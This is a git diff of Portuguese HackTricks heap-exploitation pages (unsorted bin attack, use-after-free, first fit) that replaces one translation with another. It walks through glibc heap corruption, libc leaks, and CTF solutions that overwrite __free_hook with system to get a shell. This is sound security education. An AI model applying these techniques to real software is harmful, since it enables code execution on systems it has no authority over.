* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
Para mais informações sobre o que é um unsorted bin, consulte esta página:
|
Para mais informações sobre o que é um bin não ordenado, confira esta página:
|
||||||
|
|
||||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
As listas não ordenadas são capazes de escrever o endereço para `unsorted_chunks (av)` no endereço `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do unsorted bin, ele poderia ser capaz de **escrever esse endereço em um endereço arbitrário** que poderia ser útil para vazar endereços do Glibc ou contornar algumas defesas.
|
Listas não ordenadas são capazes de escrever o endereço para `unsorted_chunks (av)` no endereço `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do bin não ordenado, ele poderá **escrever esse endereço em um endereço arbitrário**, o que pode ser útil para vazar endereços Glibc ou contornar alguma defesa.
|
||||||
|
|
||||||
Portanto, basicamente, esse ataque permite **definir um número grande em um endereço arbitrário**. Esse número grande é um endereço, que poderia ser um endereço de heap ou um endereço do Glibc. Um alvo típico é o **`global_max_fast`** para permitir a criação de bins rápidos com tamanhos maiores (e passar de um ataque unsorted bin para um ataque fast bin).
|
Assim, basicamente, esse ataque permite **definir um grande número em um endereço arbitrário**. Esse grande número é um endereço, que pode ser um endereço de heap ou um endereço Glibc. Um alvo típico é **`global_max_fast`** para permitir a criação de bins de fast bin com tamanhos maiores (e passar de um ataque de bin não ordenado para um ataque de fast bin).
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Analisando o exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) e usando 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache), é possível ver que **atualmente** o erro **`malloc(): unsorted double linked list corrupted`** é acionado.
|
Dando uma olhada no exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) e usando 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache), é possível ver que **hoje em dia** o erro **`malloc(): unsorted double linked list corrupted`** é acionado.
|
||||||
|
|
||||||
Portanto, esse ataque unsorted bin agora (entre outras verificações) também requer ser capaz de corrigir a lista duplamente encadeada para que isso seja contornado `victim->bk->fd == victim` ou não `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso está apontando para a arena.
|
Portanto, esse ataque de bin não ordenado agora (entre outras verificações) também requer ser capaz de corrigir a lista duplamente encadeada, de modo que isso seja contornado `victim->bk->fd == victim` ou não `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso está apontando para a arena.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Observe que esse ataque corrompe o unsorted bin (portanto, também o small e large). Portanto, agora só podemos **usar alocações do fast bin** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará**.
|
Note que este ataque corrompe o bin não ordenado (portanto, pequeno e grande também). Portanto, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará.**
|
||||||
|
|
||||||
Observe que sobrescrever **`global_max_fast`** pode ajudar nesse caso, confiando que o fast bin será capaz de lidar com todas as outras alocações até que o exploit seja concluído.
|
Note que sobrescrever **`global_max_fast`** pode ajudar neste caso, confiando que o fast bin será capaz de cuidar de todas as outras alocações até que a exploração seja concluída.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
O código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) explica muito bem, embora se você modificar as alocações para alocar memória grande o suficiente para não terminar em um Tcache, você verá que o erro mencionado anteriormente aparece, impedindo essa técnica: **`malloc(): unsorted double linked list corrupted`**
|
O código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) explica isso muito bem, embora se você modificar os mallocs para alocar memória grande o suficiente para não acabar em um Tcache, você pode ver que o erro mencionado anteriormente aparece, impedindo essa técnica: **`malloc(): unsorted double linked list corrupted`**
|
||||||
|
|
||||||
## Ataque de Vazamento de Informações do Unsorted Bin
|
## Ataque de Vazamento de Informação de Bin Não Ordenado
|
||||||
|
|
||||||
Este é na verdade um conceito muito básico. Os chunks no unsorted bin terão ponteiros. O primeiro chunk no unsorted bin terá na verdade os links **`fd`** e **`bk`** **apontando para uma parte da arena principal (Glibc)**.\
|
Este é, na verdade, um conceito muito básico. Os chunks no bin não ordenado terão ponteiros. O primeiro chunk no bin não ordenado terá, na verdade, os links **`fd`** e **`bk`** **apontando para uma parte da arena principal (Glibc)**.\
|
||||||
Portanto, se você pode **colocar um chunk dentro de um unsorted bin e lê-lo** (uso após liberação) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **vazamento de informações do Glibc**.
|
Portanto, se você puder **colocar um chunk dentro de um bin não ordenado e lê-lo** (uso após liberação) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **vazamento de informação Glibc**.
|
||||||
|
|
||||||
Um [**ataque semelhante usado neste artigo**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), foi abusar de uma estrutura de 4 chunks (A, B, C e D - D é apenas para evitar a consolidação com o top chunk) para que uma sobrecarga de byte nulo em B fosse usada para fazer C indicar que B estava inutilizado. Além disso, em B, os dados `prev_size` foram modificados para que o tamanho, em vez de ser o tamanho de B, fosse A+B.\
|
Um [**ataque semelhante usado neste relatório**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html) foi abusar de uma estrutura de 4 chunks (A, B, C e D - D é apenas para evitar a consolidação com o chunk superior), então um estouro de byte nulo em B foi usado para fazer C indicar que B estava não utilizado. Além disso, em B, os dados `prev_size` foram modificados para que o tamanho, em vez de ser o tamanho de B, fosse A+B.\
|
||||||
Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e então os endereços vazados do libc foram escritos em B de onde foram vazados.
|
Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e então os endereços da libc vazados foram escritos em B, de onde foram vazados.
|
||||||
|
|
||||||
## Referências e Outros Exemplos
|
## Referências e Outros Exemplos
|
||||||
|
|
||||||
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
|
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
|
||||||
* O objetivo é sobrescrever uma variável global com um valor maior que 4869 para ser possível obter a flag e o PIE não estar habilitado.
|
* O objetivo é sobrescrever uma variável global com um valor maior que 4869 para que seja possível obter a flag e o PIE não está habilitado.
|
||||||
* É possível gerar chunks de tamanhos arbitrários e há um estouro de heap com o tamanho desejado.
|
* É possível gerar chunks de tamanhos arbitrários e há um estouro de heap com o tamanho desejado.
|
||||||
* O ataque começa criando 3 chunks: chunk0 para abusar do estouro, chunk1 para ser estourado e chunk2 para que o top chunk não consolide os anteriores.
|
* O ataque começa criando 3 chunks: chunk0 para abusar do estouro, chunk1 para ser estourado e chunk2 para que o chunk superior não consolide os anteriores.
|
||||||
* Em seguida, o chunk1 é liberado e o chunk0 é estourado para que o ponteiro `bk` do chunk1 aponte para: `bk = magic - 0x10`
|
* Então, chunk1 é liberado e chunk0 é estourado para que o ponteiro `bk` de chunk1 aponte para: `bk = magic - 0x10`
|
||||||
* Em seguida, o chunk3 é alocado com o mesmo tamanho que o chunk1, o que acionará o ataque unsorted bin e modificará o valor da variável global, tornando possível obter a flag.
|
* Então, chunk3 é alocado com o mesmo tamanho que chunk1, o que acionará o ataque de bin não ordenado e modificará o valor da variável global, tornando possível obter a flag.
|
||||||
* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
|
* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
|
||||||
* A função de mesclagem é vulnerável porque se ambos os índices passados forem iguais, ela realocará nele e então o liberará, mas retornando um ponteiro para aquela região liberada que pode ser usada.
|
* A função de mesclagem é vulnerável porque se ambos os índices passados forem o mesmo, ela irá realocar nele e depois liberá-lo, mas retornando um ponteiro para essa região liberada que pode ser usada.
|
||||||
* Portanto, **2 chunks são criados**: **chunk0** que será mesclado consigo mesmo e chunk1 para evitar a consolidação com o top chunk. Em seguida, a **função de mesclagem é chamada com o chunk0** duas vezes, o que causará um uso após a liberação.
|
* Portanto, **2 chunks são criados**: **chunk0** que será mesclado consigo mesmo e chunk1 para evitar a consolidação com o chunk superior. Então, a **função de mesclagem é chamada com chunk0** duas vezes, o que causará um uso após liberação.
|
||||||
* Em seguida, a função **`view`** é chamada com o índice 2 (que é o índice do chunk de uso após liberação), que irá **vazar um endereço do libc**.
|
* Então, a **função `view`** é chamada com o índice 2 (que é o índice do chunk de uso após liberação), o que **vazará um endereço da libc**.
|
||||||
* Como o binário tem proteções para alocar apenas tamanhos maiores que **`global_max_fast`** para que nenhum fastbin seja usado, um ataque unsorted bin será usado para sobrescrever a variável global `global_max_fast`.
|
* Como o binário tem proteções para alocar apenas tamanhos maiores que **`global_max_fast`**, nenhum fastbin é usado, um ataque de bin não ordenado será usado para sobrescrever a variável global `global_max_fast`.
|
||||||
* Em seguida, é possível chamar a função edit com o índice 2 (o ponteiro de uso após liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Em seguida, criando um novo chunk usará o endereço de liberação comprometido anteriormente (0x20) e **acionará o ataque unsorted bin** sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins.
|
* Então, é possível chamar a função de edição com o índice 2 (o ponteiro de uso após liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criando um novo chunk, o endereço livre anteriormente comprometido (0x20) **acionará o ataque de bin não ordenado**, sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins.
|
||||||
* Agora um **ataque fast bin** é realizado:
|
* Agora um **ataque de fast bin** é realizado:
|
||||||
* Primeiramente, é descoberto que é possível trabalhar com **chunks rápidos de tamanho 200** na localização de **`__free_hook`**:
|
* Primeiro de tudo, descobre-se que é possível trabalhar com fast **chunks de tamanho 200** na localização de **`__free_hook`**:
|
||||||
* <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
* <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||||
|
@ -73,17 +73,17 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||||
</code></pre>
|
</code></pre>
|
||||||
* Se conseguirmos obter um fast chunk de tamanho 0x200 nessa localização, será possível sobrescrever um ponteiro de função que será executado
|
* Se conseguirmos obter um fast chunk de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
|
||||||
* Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, dessa forma obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
|
* Para isso, um novo chunk de tamanho `0xfc` é criado e a função de mesclagem é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
|
||||||
* Em seguida, a função edit é chamada nesse chunk para modificar o endereço **`fd`** desse fast bin para apontar para a função **`__free_hook`** anterior.
|
* Então, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função anterior **`__free_hook`**.
|
||||||
* Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin no **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
* Então, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, assim outro chunk de tamanho `0x1f8` é criado para obter um chunk de fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
||||||
* E finalmente um chunk contendo a string `/bin/sh\x00` é liberado chamando a função delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
|
* E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de deletar, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
|
||||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
||||||
* Outro exemplo de abuso de um overflow de 1B para consolidar chunks no unsorted bin e obter um vazamento de informações da libc e depois realizar um ataque fast bin para sobrescrever o malloc hook com um endereço de one gadget
|
* Outro exemplo de abuso de um estouro de 1B para consolidar chunks no bin não ordenado e obter um vazamento de informação da libc e depois realizar um ataque de fast bin para sobrescrever o malloc hook com um endereço de um gadget.
|
||||||
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
* [**Fábrica de Robôs. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||||
* Só podemos alocar chunks de tamanho maior que `0x100`.
|
* Só podemos alocar chunks de tamanho maior que `0x100`.
|
||||||
* Sobrescrever `global_max_fast` usando um ataque Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
|
* Sobrescrever `global_max_fast` usando um ataque de Bin Não Ordenado (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
|
||||||
* Ataque Fast Bin para modificar um array global de chunks. Isso fornece um primitivo de leitura/escrita arbitrário, que permite modificar a GOT e definir algumas funções para apontar para `system`.
|
* Ataque de Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -91,11 +91,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,29 +1,29 @@
|
||||||
# Uso Após Liberação
|
# Use After Free
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
Como o nome sugere, essa vulnerabilidade ocorre quando um programa **aloca algum espaço** na heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**.
|
Como o nome sugere, essa vulnerabilidade ocorre quando um programa **armazena algum espaço** no heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**.
|
||||||
|
|
||||||
O problema aqui é que não é ilegal (não **haverá erros**) quando uma **memória liberada é acessada**. Portanto, se o programa (ou o atacante) conseguir **alocar a memória liberada e armazenar dados arbitrários**, quando a memória liberada for acessada a partir do ponteiro inicial, **esses dados terão sido sobrescritos**, causando uma **vulnerabilidade que dependerá da sensibilidade dos dados** que foram originalmente armazenados (se era um ponteiro de uma função que seria chamada, um atacante poderia controlá-lo).
|
O problema aqui é que não é ilegal (não **haverá erros**) quando uma **memória liberada é acessada**. Então, se o programa (ou o atacante) conseguir **alocar a memória liberada e armazenar dados arbitrários**, quando a memória liberada for acessada a partir do ponteiro inicial, **esses dados teriam sido sobrescritos**, causando uma **vulnerabilidade que dependerá da sensibilidade dos dados** que foram armazenados originalmente (se era um ponteiro de uma função que seria chamada, um atacante poderia saber controlá-la).
|
||||||
|
|
||||||
### Ataque First Fit
|
### First Fit attack
|
||||||
|
|
||||||
Um ataque First Fit visa a forma como alguns alocadores de memória, como o glibc, gerenciam a memória liberada. Quando você libera um bloco de memória, ele é adicionado a uma lista e novas solicitações de memória são retiradas dessa lista do final. Os atacantes podem usar esse comportamento para manipular **quais blocos de memória são reutilizados, potencialmente ganhando controle sobre eles**. Isso pode levar a problemas de "uso após liberação", onde um atacante poderia **alterar o conteúdo da memória que é realocada**, criando um risco de segurança.\
|
Um ataque de first fit visa a forma como alguns alocadores de memória, como no glibc, gerenciam a memória liberada. Quando você libera um bloco de memória, ele é adicionado a uma lista, e novos pedidos de memória puxam dessa lista a partir do final. Os atacantes podem usar esse comportamento para manipular **quais blocos de memória são reutilizados, potencialmente ganhando controle sobre eles**. Isso pode levar a problemas de "use-after-free", onde um atacante poderia **mudar o conteúdo da memória que é realocada**, criando um risco de segurança.\
|
||||||
Confira mais informações em:
|
Confira mais informações em:
|
||||||
|
|
||||||
{% content-ref url="first-fit.md" %}
|
{% content-ref url="first-fit.md" %}
|
||||||
|
@ -31,16 +31,16 @@ Confira mais informações em:
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,34 +1,34 @@
|
||||||
# First Fit
|
# First Fit
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **First Fit**
|
## **First Fit**
|
||||||
|
|
||||||
Quando você libera memória em um programa usando glibc, diferentes "bins" são usados para gerenciar os pedaços de memória. Aqui está uma explicação simplificada de dois cenários comuns: bins não ordenados e fastbins.
|
Quando você libera memória em um programa usando glibc, diferentes "bins" são usados para gerenciar os blocos de memória. Aqui está uma explicação simplificada de dois cenários comuns: bins não ordenados e fastbins.
|
||||||
|
|
||||||
### Bins Não Ordenados
|
### Bins Não Ordenados
|
||||||
|
|
||||||
